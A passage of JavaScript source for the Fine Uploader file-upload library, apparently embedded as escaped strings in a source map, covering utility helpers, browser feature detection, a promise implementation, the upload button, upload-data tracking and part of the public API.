element from html string\n     * Uses innerHTML to create an element\n     */\n    qq.toElement = (function() {\n        var div = document.createElement(\"div\");\n        return function(html) {\n            div.innerHTML = html;\n            var element = div.firstChild;\n            div.removeChild(element);\n            return element;\n        };\n    }());\n\n    //key and value are passed to callback for each entry in the iterable item\n    qq.each = function(iterableItem, callback) {\n        var keyOrIndex, retVal;\n\n        if (iterableItem) {\n            // Iterate through [`Storage`](http://www.w3.org/TR/webstorage/#the-storage-interface) items\n            if (window.Storage && iterableItem.constructor === window.Storage) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(iterableItem.key(keyOrIndex), iterableItem.getItem(iterableItem.key(keyOrIndex)));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            // `DataTransferItemList` & `NodeList` objects are array-like and should be treated as arrays\n            // when iterating over items inside the object.\n            else if (qq.isArray(iterableItem) || qq.isItemList(iterableItem) || qq.isNodeList(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else if (qq.isString(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem.charAt(keyOrIndex));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else {\n                for (keyOrIndex in iterableItem) {\n                    if (Object.prototype.hasOwnProperty.call(iterableItem, keyOrIndex)) {\n                        retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                        if (retVal === false) {\n                            break;\n                        }\n                    }\n                }\n            }\n        }\n    };\n\n    //include any args that should be passed to the new function after the context arg\n    qq.bind = function(oldFunc, context) {\n        if (qq.isFunction(oldFunc)) {\n            var args =  Array.prototype.slice.call(arguments, 2);\n\n            return function() {\n                var newArgs = qq.extend([], args);\n                if (arguments.length) {\n                    newArgs = newArgs.concat(Array.prototype.slice.call(arguments));\n                }\n                return oldFunc.apply(context, newArgs);\n            };\n        }\n\n        throw new Error(\"first parameter must be a function!\");\n    };\n\n    /**\n     * obj2url() takes a json-object as argument and generates\n     * a querystring. pretty much like jQuery.param()\n     *\n     * how to use:\n     *\n     *    `qq.obj2url({a:'b',c:'d'},'http://any.url/upload?otherParam=value');`\n     *\n     * will result in:\n     *\n     *    `http://any.url/upload?otherParam=value&a=b&c=d`\n     *\n     * @param  Object JSON-Object\n     * @param  String current querystring-part\n     * @return String encoded querystring\n     */\n    qq.obj2url = function(obj, temp, prefixDone) {\n        /*jshint laxbreak: true*/\n        var uristrings = [],\n            prefix = \"&\",\n            add = function(nextObj, i) {\n                var nextTemp = temp\n                    ? (/\\[\\]$/.test(temp)) // prevent double-encoding\n                    ? temp\n                    : temp + \"[\" + i + \"]\"\n                    : i;\n                if ((nextTemp !== \"undefined\") && (i !== \"undefined\")) {\n                    uristrings.push(\n                        (typeof nextObj === \"object\")\n                            ? qq.obj2url(nextObj, nextTemp, true)\n                            : (Object.prototype.toString.call(nextObj) === \"[object Function]\")\n                            ? encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj())\n                            : encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj)\n                    );\n                }\n            };\n\n        if (!prefixDone && temp) {\n            prefix = (/\\?/.test(temp)) ? (/\\?$/.test(temp)) ? \"\" : \"&\" : \"?\";\n            uristrings.push(temp);\n            uristrings.push(qq.obj2url(obj));\n        } else if ((Object.prototype.toString.call(obj) === \"[object Array]\") && (typeof obj !== \"undefined\")) {\n            qq.each(obj, function(idx, val) {\n                add(val, idx);\n            });\n        } else if ((typeof obj !== \"undefined\") && (obj !== null) && (typeof obj === \"object\")) {\n            qq.each(obj, function(prop, val) {\n                add(val, prop);\n            });\n        } else {\n            uristrings.push(encodeURIComponent(temp) + \"=\" + encodeURIComponent(obj));\n        }\n\n        if (temp) {\n            return uristrings.join(prefix);\n        } else {\n            return uristrings.join(prefix)\n                .replace(/^&/, \"\")\n                .replace(/%20/g, \"+\");\n        }\n    };\n\n    qq.obj2FormData = function(obj, formData, arrayKeyName) {\n        if (!formData) {\n            formData = new FormData();\n        }\n\n        qq.each(obj, function(key, val) {\n            key = arrayKeyName ? arrayKeyName + \"[\" + key + \"]\" : key;\n\n            if (qq.isObject(val)) {\n                qq.obj2FormData(val, formData, key);\n            }\n            else if (qq.isFunction(val)) {\n                formData.append(key, val());\n            }\n            else {\n                formData.append(key, val);\n            }\n        });\n\n        return formData;\n    };\n\n    qq.obj2Inputs = function(obj, form) {\n        var input;\n\n        if (!form) {\n            form = document.createElement(\"form\");\n        }\n\n        qq.obj2FormData(obj, {\n            append: function(key, val) {\n                input = document.createElement(\"input\");\n                input.setAttribute(\"name\", key);\n                input.setAttribute(\"value\", val);\n                form.appendChild(input);\n            }\n        });\n\n        return form;\n    };\n\n    /**\n     * Not recommended for use outside of Fine Uploader since this falls back to an unchecked eval if JSON.parse is not\n     * implemented.  For a more secure JSON.parse polyfill, use Douglas Crockford's json2.js.\n     */\n    qq.parseJson = function(json) {\n        /*jshint evil: true*/\n        if (window.JSON && qq.isFunction(JSON.parse)) {\n            return JSON.parse(json);\n        } else {\n            return eval(\"(\" + json + \")\");\n        }\n    };\n\n    /**\n     * Retrieve the extension of a file, if it exists.\n     *\n     * @param filename\n     * @returns {string || undefined}\n     */\n    qq.getExtension = function(filename) {\n        var extIdx = filename.lastIndexOf(\".\") + 1;\n\n        if (extIdx > 0) {\n            return filename.substr(extIdx, filename.length - extIdx);\n        }\n    };\n\n    qq.getFilename = function(blobOrFileInput) {\n        /*jslint regexp: true*/\n\n        if (qq.isInput(blobOrFileInput)) {\n            // get input value and remove path to normalize\n            return blobOrFileInput.value.replace(/.*(\\/|\\\\)/, \"\");\n        }\n        else if (qq.isFile(blobOrFileInput)) {\n            if (blobOrFileInput.fileName !== null && blobOrFileInput.fileName !== undefined) {\n                return blobOrFileInput.fileName;\n            }\n        }\n\n        return blobOrFileInput.name;\n    };\n\n    /**\n     * A generic module which supports object disposing in dispose() method.\n     * */\n    qq.DisposeSupport = function() {\n        var disposers = [];\n\n        return {\n            /** Run all registered disposers */\n            dispose: function() {\n                var disposer;\n                do {\n                    disposer = disposers.shift();\n                    if (disposer) {\n                        disposer();\n                    }\n                }\n                while (disposer);\n            },\n\n            /** Attach event handler and register de-attacher as a disposer */\n            attach: function() {\n                var args = arguments;\n                /*jslint undef:true*/\n                this.addDisposer(qq(args[0]).attach.apply(this, Array.prototype.slice.call(arguments, 1)));\n            },\n\n            /** Add disposer to the collection */\n            addDisposer: function(disposeFunction) {\n                disposers.push(disposeFunction);\n            }\n        };\n    };\n}());\n","/* globals define, module, global, qq */\n(function() {\n    \"use strict\";\n    if (typeof define === \"function\" && define.amd) {\n        define(function() {\n            return qq;\n        });\n    }\n    else if (typeof module !== \"undefined\" && module.exports) {\n        module.exports = qq;\n    }\n    else {\n        global.qq = qq;\n    }\n}());\n","/* globals qq */\n/**\n * Fine Uploader top-level Error container.  Inherits from `Error`.\n */\n(function() {\n    \"use strict\";\n\n    qq.Error = function(message) {\n        this.message = \"[Fine Uploader \" + qq.version + \"] \" + message;\n    };\n\n    qq.Error.prototype = new Error();\n}());\n","/*global qq */\nqq.version = \"5.11.8\";\n","/* globals qq */\nqq.supportedFeatures = (function() {\n    \"use strict\";\n\n    var supportsUploading,\n        supportsUploadingBlobs,\n        supportsFileDrop,\n        supportsAjaxFileUploading,\n        supportsFolderDrop,\n        supportsChunking,\n        supportsResume,\n        supportsUploadViaPaste,\n        supportsUploadCors,\n        supportsDeleteFileXdr,\n        supportsDeleteFileCorsXhr,\n        supportsDeleteFileCors,\n        supportsFolderSelection,\n        supportsImagePreviews,\n        supportsUploadProgress;\n\n    function testSupportsFileInputElement() {\n        var supported = true,\n            tempInput;\n\n        try {\n            tempInput = document.createElement(\"input\");\n            tempInput.type = \"file\";\n            qq(tempInput).hide();\n\n            if (tempInput.disabled) {\n                supported = false;\n            }\n        }\n        catch (ex) {\n            supported = false;\n        }\n\n        return supported;\n    }\n\n    //only way to test for Filesystem API support since webkit does not expose the DataTransfer interface\n    function isChrome21OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[2][1-9]|Chrome\\/[3-9][0-9]/) !== undefined;\n    }\n\n    //only way to test for complete Clipboard API support at this time\n    function isChrome14OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[1][4-9]|Chrome\\/[2-9][0-9]/) !== undefined;\n    }\n\n    //Ensure we can send cross-origin `XMLHttpRequest`s\n    function isCrossOriginXhrSupported() {\n        if (window.XMLHttpRequest) {\n            var xhr = qq.createXhrInstance();\n\n            //Commonly accepted test for XHR CORS support.\n            return xhr.withCredentials !== undefined;\n        }\n\n        return false;\n    }\n\n    //Test for (terrible) cross-origin ajax transport fallback for IE9 and IE8\n    function isXdrSupported() {\n        return window.XDomainRequest !== undefined;\n    }\n\n    // CORS Ajax requests are supported if it is either possible to send credentialed `XMLHttpRequest`s,\n    // or if `XDomainRequest` is an available alternative.\n    function isCrossOriginAjaxSupported() {\n        if (isCrossOriginXhrSupported()) {\n            return true;\n        }\n\n        return isXdrSupported();\n    }\n\n    function isFolderSelectionSupported() {\n        // We know that folder selection is only supported in Chrome via this proprietary attribute for now\n        return document.createElement(\"input\").webkitdirectory !== undefined;\n    }\n\n    function isLocalStorageSupported() {\n        try {\n            return !!window.localStorage &&\n                // unpatched versions of IE10/11 have buggy impls of localStorage where setItem is a string\n                qq.isFunction(window.localStorage.setItem);\n        }\n        catch (error) {\n            // probably caught a security exception, so no localStorage for you\n            return false;\n        }\n    }\n\n    function isDragAndDropSupported() {\n        var span = document.createElement(\"span\");\n\n        return (\"draggable\" in span || (\"ondragstart\" in span && \"ondrop\" in span)) &&\n            !qq.android() && !qq.ios();\n    }\n\n    supportsUploading = testSupportsFileInputElement();\n\n    supportsAjaxFileUploading = supportsUploading && qq.isXhrUploadSupported();\n\n    supportsUploadingBlobs = supportsAjaxFileUploading && !qq.androidStock();\n\n    supportsFileDrop = supportsAjaxFileUploading && isDragAndDropSupported();\n\n    supportsFolderDrop = supportsFileDrop && isChrome21OrHigher();\n\n    supportsChunking = supportsAjaxFileUploading && qq.isFileChunkingSupported();\n\n    supportsResume = supportsAjaxFileUploading && supportsChunking && isLocalStorageSupported();\n\n    supportsUploadViaPaste = supportsAjaxFileUploading && isChrome14OrHigher();\n\n    supportsUploadCors = supportsUploading && (window.postMessage !== undefined || supportsAjaxFileUploading);\n\n    supportsDeleteFileCorsXhr = isCrossOriginXhrSupported();\n\n    supportsDeleteFileXdr = isXdrSupported();\n\n    supportsDeleteFileCors = isCrossOriginAjaxSupported();\n\n    supportsFolderSelection = isFolderSelectionSupported();\n\n    supportsImagePreviews = supportsAjaxFileUploading && window.FileReader !== undefined;\n\n    supportsUploadProgress = (function() {\n        if (supportsAjaxFileUploading) {\n            return !qq.androidStock() && !qq.iosChrome();\n        }\n        return false;\n    }());\n\n    return {\n        ajaxUploading: supportsAjaxFileUploading,\n        blobUploading: supportsUploadingBlobs,\n        canDetermineSize: supportsAjaxFileUploading,\n        chunking: supportsChunking,\n        deleteFileCors: supportsDeleteFileCors,\n        deleteFileCorsXdr: supportsDeleteFileXdr, //NOTE: will also return true in IE10, where XDR is also supported\n        deleteFileCorsXhr: supportsDeleteFileCorsXhr,\n        dialogElement: !!window.HTMLDialogElement,\n        fileDrop: supportsFileDrop,\n        folderDrop: supportsFolderDrop,\n        folderSelection: supportsFolderSelection,\n        imagePreviews: supportsImagePreviews,\n        imageValidation: supportsImagePreviews,\n        itemSizeValidation: supportsAjaxFileUploading,\n        pause: supportsChunking,\n        progressBar: supportsUploadProgress,\n        resume: supportsResume,\n        scaling: supportsImagePreviews && supportsUploadingBlobs,\n        tiffPreviews: qq.safari(), // Not the best solution, but simple and probably accurate enough (for now)\n        unlimitedScaledImageSize: !qq.ios(), // false simply indicates that there is some known limit\n        uploading: supportsUploading,\n        uploadCors: supportsUploadCors,\n        uploadCustomHeaders: supportsAjaxFileUploading,\n        uploadNonMultipart: supportsAjaxFileUploading,\n        uploadViaPaste: supportsUploadViaPaste\n    };\n\n}());\n","/*globals qq*/\n\n// Is the passed object a promise instance?\nqq.isGenericPromise = function(maybePromise) {\n    \"use strict\";\n    return !!(maybePromise && maybePromise.then && qq.isFunction(maybePromise.then));\n};\n\nqq.Promise = function() {\n    \"use strict\";\n\n    var successArgs, failureArgs,\n        successCallbacks = [],\n        failureCallbacks = [],\n        doneCallbacks = [],\n        state = 0;\n\n    qq.extend(this, {\n        then: function(onSuccess, onFailure) {\n            if (state === 0) {\n                if (onSuccess) {\n                    successCallbacks.push(onSuccess);\n                }\n                if (onFailure) {\n                    failureCallbacks.push(onFailure);\n                }\n            }\n            else if (state === -1) {\n                onFailure && onFailure.apply(null, failureArgs);\n            }\n            else if (onSuccess) {\n                onSuccess.apply(null, successArgs);\n            }\n\n            return this;\n        },\n\n        done: function(callback) {\n            if (state === 0) {\n                doneCallbacks.push(callback);\n            }\n            else {\n                callback.apply(null, failureArgs === undefined ? successArgs : failureArgs);\n            }\n\n            return this;\n        },\n\n        success: function() {\n            state = 1;\n            successArgs = arguments;\n\n            if (successCallbacks.length) {\n                qq.each(successCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            return this;\n        },\n\n        failure: function() {\n            state = -1;\n            failureArgs = arguments;\n\n            if (failureCallbacks.length) {\n                qq.each(failureCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            return this;\n        }\n    });\n};\n","/* globals qq */\n/**\n * Placeholder for a Blob that will be generated on-demand.\n *\n * @param referenceBlob Parent of the generated blob\n * @param onCreate Function to invoke when the blob must be created.  Must be promissory.\n * @constructor\n */\nqq.BlobProxy = function(referenceBlob, onCreate) {\n    \"use strict\";\n\n    qq.extend(this, {\n        referenceBlob: referenceBlob,\n\n        create: function() {\n            return onCreate(referenceBlob);\n        }\n    });\n};\n","/*globals qq*/\n\n/**\n * This module represents an upload or \"Select File(s)\" button.  It's job is to embed an opaque `<input type=\"file\">`\n * element as a child of a provided \"container\" element.  This \"container\" element (`options.element`) is used to provide\n * a custom style for the `<input type=\"file\">` element.  The ability to change the style of the container element is also\n * provided here by adding CSS classes to the container on hover/focus.\n *\n * TODO Eliminate the mouseover and mouseout event handlers since the :hover CSS pseudo-class should now be\n * available on all supported browsers.\n *\n * @param o Options to override the default values\n */\nqq.UploadButton = function(o) {\n    \"use strict\";\n\n    var self = this,\n\n        disposeSupport = new qq.DisposeSupport(),\n\n        options = {\n            // Corresponds to the `accept` attribute on the associated `<input type=\"file\">`\n            acceptFiles: null,\n\n            // \"Container\" element\n            element: null,\n\n            focusClass: \"qq-upload-button-focus\",\n\n            // A true value allows folders to be selected, if supported by the UA\n            folders: false,\n\n            // **This option will be removed** in the future as the :hover CSS pseudo-class is available on all supported browsers\n            hoverClass: \"qq-upload-button-hover\",\n\n            ios8BrowserCrashWorkaround: false,\n\n            // If true adds `multiple` attribute to `<input type=\"file\">`\n            multiple: false,\n\n            // `name` attribute of `<input type=\"file\">`\n            name: \"qqfile\",\n\n            // Called when the browser invokes the onchange handler on the `<input type=\"file\">`\n            onChange: function(input) {},\n\n            title: null\n        },\n        input, buttonId;\n\n    // Overrides any of the default option values with any option values passed in during construction.\n    qq.extend(options, o);\n\n    buttonId = qq.getUniqueId();\n\n    // Embed an opaque `<input type=\"file\">` element as a child of `options.element`.\n    function createInput() {\n        var input = document.createElement(\"input\");\n\n        input.setAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME, buttonId);\n        input.setAttribute(\"title\", options.title);\n\n        self.setMultiple(options.multiple, input);\n\n        if (options.folders && qq.supportedFeatures.folderSelection) {\n            // selecting directories is only possible in Chrome now, via a vendor-specific prefixed attribute\n            input.setAttribute(\"webkitdirectory\", \"\");\n        }\n\n        if (options.acceptFiles) {\n            input.setAttribute(\"accept\", options.acceptFiles);\n        }\n\n        input.setAttribute(\"type\", \"file\");\n        input.setAttribute(\"name\", options.name);\n\n        qq(input).css({\n            position: \"absolute\",\n            // in Opera only 'browse' button\n            // is clickable and it is located at\n            // the right side of the input\n            right: 0,\n            top: 0,\n            fontFamily: \"Arial\",\n            // It's especially important to make this an arbitrarily large value\n            // to ensure the rendered input button in IE takes up the entire\n            // space of the container element.  Otherwise, the left side of the\n            // button will require a double-click to invoke the file chooser.\n            // In other browsers, this might cause other issues, so a large font-size\n            // is only used in IE.  There is a bug in IE8 where the opacity style is  ignored\n            // in some cases when the font-size is large.  So, this workaround is not applied\n            // to IE8.\n            fontSize: qq.ie() && !qq.ie8() ? \"3500px\" : \"118px\",\n            margin: 0,\n            padding: 0,\n            cursor: \"pointer\",\n            opacity: 0\n        });\n\n        // Setting the file input's height to 100% in IE7 causes\n        // most of the visible button to be unclickable.\n        !qq.ie7() && qq(input).css({height: \"100%\"});\n\n        options.element.appendChild(input);\n\n        disposeSupport.attach(input, \"change\", function() {\n            options.onChange(input);\n        });\n\n        // **These event handlers will be removed** in the future as the :hover CSS pseudo-class is available on all supported browsers\n        disposeSupport.attach(input, \"mouseover\", function() {\n            qq(options.element).addClass(options.hoverClass);\n        });\n        disposeSupport.attach(input, \"mouseout\", function() {\n            qq(options.element).removeClass(options.hoverClass);\n        });\n\n        disposeSupport.attach(input, \"focus\", function() {\n            qq(options.element).addClass(options.focusClass);\n        });\n        disposeSupport.attach(input, \"blur\", function() {\n            qq(options.element).removeClass(options.focusClass);\n        });\n\n        return input;\n    }\n\n    // Make button suitable container for input\n    qq(options.element).css({\n        position: \"relative\",\n        overflow: \"hidden\",\n        // Make sure browse button is in the right side in Internet Explorer\n        direction: \"ltr\"\n    });\n\n    // Exposed API\n    qq.extend(this, {\n        getInput: function() {\n            return input;\n        },\n\n        getButtonId: function() {\n            return buttonId;\n        },\n\n        setMultiple: function(isMultiple, optInput) {\n            var input = optInput || this.getInput();\n\n            // Temporary workaround for bug in in iOS8 UIWebView that causes the browser to crash\n            // before the file chooser appears if the file input doesn't contain a multiple attribute.\n            // See #1283.\n            if (options.ios8BrowserCrashWorkaround && qq.ios8() && (qq.iosChrome() || qq.iosSafariWebView())) {\n                input.setAttribute(\"multiple\", \"\");\n            }\n\n            else {\n                if (isMultiple) {\n                    input.setAttribute(\"multiple\", \"\");\n                }\n                else {\n                    input.removeAttribute(\"multiple\");\n                }\n            }\n        },\n\n        setAcceptFiles: function(acceptFiles) {\n            if (acceptFiles !== options.acceptFiles) {\n                input.setAttribute(\"accept\", acceptFiles);\n            }\n        },\n\n        reset: function() {\n            if (input.parentNode) {\n                qq(input).remove();\n            }\n\n            qq(options.element).removeClass(options.focusClass);\n            input = null;\n            input = createInput();\n        }\n    });\n\n    input = createInput();\n};\n\nqq.UploadButton.BUTTON_ID_ATTR_NAME = \"qq-button-id\";\n","/*globals qq */\nqq.UploadData = function(uploaderProxy) {\n    \"use strict\";\n\n    var data = [],\n        byUuid = {},\n        byStatus = {},\n        byProxyGroupId = {},\n        byBatchId = {};\n\n    function getDataByIds(idOrIds) {\n        if (qq.isArray(idOrIds)) {\n            var entries = [];\n\n            qq.each(idOrIds, function(idx, id) {\n                entries.push(data[id]);\n            });\n\n            return entries;\n        }\n\n        return data[idOrIds];\n    }\n\n    function getDataByUuids(uuids) {\n        if (qq.isArray(uuids)) {\n            var entries = [];\n\n            qq.each(uuids, function(idx, uuid) {\n                entries.push(data[byUuid[uuid]]);\n            });\n\n            return entries;\n        }\n\n        return data[byUuid[uuids]];\n    }\n\n    function getDataByStatus(status) {\n        var statusResults = [],\n            statuses = [].concat(status);\n\n        qq.each(statuses, function(index, statusEnum) {\n            var statusResultIndexes = byStatus[statusEnum];\n\n            if (statusResultIndexes !== undefined) {\n                qq.each(statusResultIndexes, function(i, dataIndex) {\n                    statusResults.push(data[dataIndex]);\n                });\n            }\n        });\n\n        return statusResults;\n    }\n\n    qq.extend(this, {\n        /**\n         * Adds a new file to the data cache for tracking purposes.\n         *\n         * @param spec Data that describes this file.  Possible properties are:\n         *\n         * - uuid: Initial UUID for this file.\n         * - name: Initial name of this file.\n         * - size: Size of this file, omit if this cannot be determined\n         * - status: Initial `qq.status` for this file.  Omit for `qq.status.SUBMITTING`.\n         * - batchId: ID of the batch this file belongs to\n         * - proxyGroupId: ID of the proxy group associated with this file\n         *\n         * @returns {number} Internal ID for this file.\n         */\n        addFile: function(spec) {\n            var status = spec.status || qq.status.SUBMITTING,\n                id = data.push({\n                    name: spec.name,\n                    originalName: spec.name,\n                    uuid: spec.uuid,\n                    size: spec.size == null ? -1 : spec.size,\n                    status: status\n                }) - 1;\n\n            if (spec.batchId) {\n                data[id].batchId = spec.batchId;\n\n                if (byBatchId[spec.batchId] === undefined) {\n                    byBatchId[spec.batchId] = [];\n                }\n                byBatchId[spec.batchId].push(id);\n            }\n\n            if (spec.proxyGroupId) {\n                data[id].proxyGroupId = spec.proxyGroupId;\n\n                if (byProxyGroupId[spec.proxyGroupId] === undefined) {\n                    byProxyGroupId[spec.proxyGroupId] = [];\n                }\n                byProxyGroupId[spec.proxyGroupId].push(id);\n            }\n\n            data[id].id = id;\n            byUuid[spec.uuid] = id;\n\n            if (byStatus[status] === undefined) {\n                byStatus[status] = [];\n            }\n            byStatus[status].push(id);\n\n            uploaderProxy.onStatusChange(id, null, status);\n\n            return id;\n        },\n\n        retrieve: function(optionalFilter) {\n            if (qq.isObject(optionalFilter) && data.length)  {\n                if (optionalFilter.id !== undefined) {\n                    return getDataByIds(optionalFilter.id);\n                }\n\n                else if (optionalFilter.uuid !== undefined) {\n                    return getDataByUuids(optionalFilter.uuid);\n                }\n\n                else if (optionalFilter.status) {\n                    return getDataByStatus(optionalFilter.status);\n                }\n            }\n            else {\n                return qq.extend([], data, true);\n            }\n        },\n\n        reset: function() {\n            data = [];\n            byUuid = {};\n            byStatus = {};\n            byBatchId = {};\n        },\n\n        setStatus: function(id, newStatus) {\n            var oldStatus = data[id].status,\n                byStatusOldStatusIndex = qq.indexOf(byStatus[oldStatus], id);\n\n            byStatus[oldStatus].splice(byStatusOldStatusIndex, 1);\n\n            data[id].status = newStatus;\n\n            if (byStatus[newStatus] === undefined) {\n                byStatus[newStatus] = [];\n            }\n            byStatus[newStatus].push(id);\n\n            uploaderProxy.onStatusChange(id, oldStatus, newStatus);\n        },\n\n        uuidChanged: function(id, newUuid) {\n            var oldUuid = data[id].uuid;\n\n            data[id].uuid = newUuid;\n            byUuid[newUuid] = id;\n            delete byUuid[oldUuid];\n        },\n\n        updateName: function(id, newName) {\n            data[id].name = newName;\n        },\n\n        updateSize: function(id, newSize) {\n            data[id].size = newSize;\n        },\n\n        // Only applicable if this file has a parent that we may want to reference later.\n        setParentId: function(targetId, parentId) {\n            data[targetId].parentId = parentId;\n        },\n\n        getIdsInProxyGroup: function(id) {\n            var proxyGroupId = data[id].proxyGroupId;\n\n            if (proxyGroupId) {\n                return byProxyGroupId[proxyGroupId];\n            }\n            return [];\n        },\n\n        getIdsInBatch: function(id) {\n            var batchId = data[id].batchId;\n\n            return byBatchId[batchId];\n        }\n    });\n};\n\nqq.status = {\n    SUBMITTING: \"submitting\",\n    SUBMITTED: \"submitted\",\n    REJECTED: \"rejected\",\n    QUEUED: \"queued\",\n    CANCELED: \"canceled\",\n    PAUSED: \"paused\",\n    UPLOADING: \"uploading\",\n    UPLOAD_RETRYING: \"retrying upload\",\n    UPLOAD_SUCCESSFUL: \"upload successful\",\n    UPLOAD_FAILED: \"upload failed\",\n    DELETE_FAILED: \"delete failed\",\n    DELETING: \"deleting\",\n    DELETED: \"deleted\"\n};\n","/*globals qq*/\n/**\n * Defines the public API for FineUploaderBasic mode.\n */\n(function() {\n    \"use strict\";\n\n    qq.basePublicApi = {\n        // DEPRECATED - TODO REMOVE IN NEXT MAJOR RELEASE (replaced by addFiles)\n        addBlobs: function(blobDataOrArray, params, endpoint) {\n            this.addFiles(blobDataOrArray, params, endpoint);\n        },\n\n        addInitialFiles: function(cannedFileList) {\n            var self = this;\n\n            qq.each(cannedFileList, function(index, cannedFile) {\n                self._addCannedFile(cannedFile);\n            });\n        },\n\n        addFiles: function(data, params, endpoint) {\n            this._maybeHandleIos8SafariWorkaround();\n\n            var batchId = this._storedIds.length === 0 ? qq.getUniqueId() : this._currentBatchId,\n\n                processBlob = qq.bind(function(blob) {\n                    this._handleNewFile({\n                        blob: blob,\n                        name: this._options.blobs.defaultName\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processBlobData = qq.bind(function(blobData) {\n                    this._handleNewFile(blobData, batchId, verifiedFiles);\n                }, this),\n\n                processCanvas = qq.bind(function(canvas) {\n                    var blob = qq.canvasToBlob(canvas);\n\n                    this._handleNewFile({\n                        blob: blob,\n                        name: this._options.blobs.defaultName + \".png\"\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processCanvasData = qq.bind(function(canvasData) {\n                    var normalizedQuality = canvasData.quality && canvasData.quality / 100,\n                        blob = qq.canvasToBlob(canvasData.canvas, canvasData.type, normalizedQuality);\n\n                    this._handleNewFile({\n                        blob: blob,\n                        name: canvasData.name\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processFileOrInput = qq.bind(function(fileOrInput) {\n                    if (qq.isInput(fileOrInput) && qq.supportedFeatures.ajaxUploading) {\n                        var files = Array.prototype.slice.call(fileOrInput.files),\n                            self = this;\n\n                        qq.each(files, function(idx, file) {\n                            self._handleNewFile(file, batchId, verifiedFiles);\n                        });\n                    }\n                    else {\n                        this._handleNewFile(fileOrInput, batchId, verifiedFiles);\n                    }\n                }, this),\n\n                normalizeData = function() {\n                    if (qq.isFileList(data)) {\n                        data = Array.prototype.slice.call(data);\n                    }\n                    data = [].concat(data);\n                },\n\n                self = this,\n                verifiedFiles = [];\n\n            this._currentBatchId = batchId;\n\n            if (data) {\n                normalizeData();\n\n                qq.each(data, function(idx, fileContainer) {\n                    if (qq.isFileOrInput(fileContainer)) {\n                        processFileOrInput(fileContainer);\n                    }\n                    else if (qq.isBlob(fileContainer)) {\n                        processBlob(fileContainer);\n                    }\n                    else if (qq.isObject(fileContainer)) {\n                        if (fileContainer.blob && fileContainer.name) {\n                            processBlobData(fileContainer);\n                        }\n                        else if (fileContainer.canvas && fileContainer.name) {\n                            processCanvasData(fileContainer);\n                        }\n                    }\n                    else if (fileContainer.tagName && fileContainer.tagName.toLowerCase() === \"canvas\") {\n                        processCanvas(fileContainer);\n                    }\n                    else {\n                        self.log(fileContainer + \" is not a valid file container!  Ignoring!\", \"warn\");\n                    }\n                });\n\n                this.log(\"Received \" + verifiedFiles.length + \" files.\");\n                this._prepareItemsForUpload(verifiedFiles, params, endpoint);\n            }\n        },\n\n        cancel: function(id) {\n            this._handler.cancel(id);\n        },\n\n        cancelAll: function() {\n            var storedIdsCopy = [],\n                self = this;\n\n            qq.extend(storedIdsCopy, this._storedIds);\n            qq.each(storedIdsCopy, function(idx, storedFileId) {\n                self.cancel(storedFileId);\n            });\n\n            this._handler.cancelAll();\n        },\n\n        clearStoredFiles: function() {\n            this._storedIds = [];\n        },\n\n        continueUpload: function(id) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {\n                return false;\n            }\n\n            if (uploadData.status === qq.status.PAUSED) {\n                this.log(qq.format(\"Paused file ID {} ({}) will be continued.  Not paused.\", id, this.getName(id)));\n                this._uploadFile(id);\n                return true;\n            }\n            else {\n                this.log(qq.format(\"Ignoring continue for file ID {} ({}).  Not paused.\", id, this.getName(id)), \"error\");\n            }\n\n            return false;\n        },\n\n        deleteFile: function(id) {\n            return this._onSubmitDelete(id);\n        },\n\n        // TODO document?\n        doesExist: function(fileOrBlobId) {\n            return this._handler.isValid(fileOrBlobId);\n        },\n\n        // Generate a variable size thumbnail on an img or canvas,\n        // returning a promise that is fulfilled when the attempt completes.\n        // Thumbnail can either be based off of a URL for an image returned\n        // by the server in the upload response, or the associated `Blob`.\n        drawThumbnail: function(fileId, imgOrCanvas, maxSize, fromServer, customResizeFunction) {\n            var promiseToReturn = new qq.Promise(),\n                fileOrUrl, options;\n\n            if (this._imageGenerator) {\n                fileOrUrl = this._thumbnailUrls[fileId];\n                options = {\n                    customResizeFunction: customResizeFunction,\n                    maxSize: maxSize > 0 ? maxSize : null,\n                    scale: maxSize > 0\n                };\n\n                // If client-side preview generation is possible\n                // and we are not specifically looking for the image URl returned by the server...\n                if (!fromServer && qq.supportedFeatures.imagePreviews) {\n                    fileOrUrl = this.getFile(fileId);\n                }\n\n                /* jshint eqeqeq:false,eqnull:true */\n                if (fileOrUrl == null) {\n                    promiseToReturn.failure({container: imgOrCanvas, error: \"File or URL not found.\"});\n                }\n                else {\n                    this._imageGenerator.generate(fileOrUrl, imgOrCanvas, options).then(\n                        function success(modifiedContainer) {\n                            promiseToReturn.success(modifiedContainer);\n                        },\n\n                        function failure(container, reason) {\n                            promiseToReturn.failure({container: container, error: reason || \"Problem generating thumbnail\"});\n                        }\n                    );\n                }\n            }\n            else {\n                promiseToReturn.failure({container: imgOrCanvas, error: \"Missing image generator module\"});\n            }\n\n            return promiseToReturn;\n        },\n\n        getButton: function(fileId) {\n            return 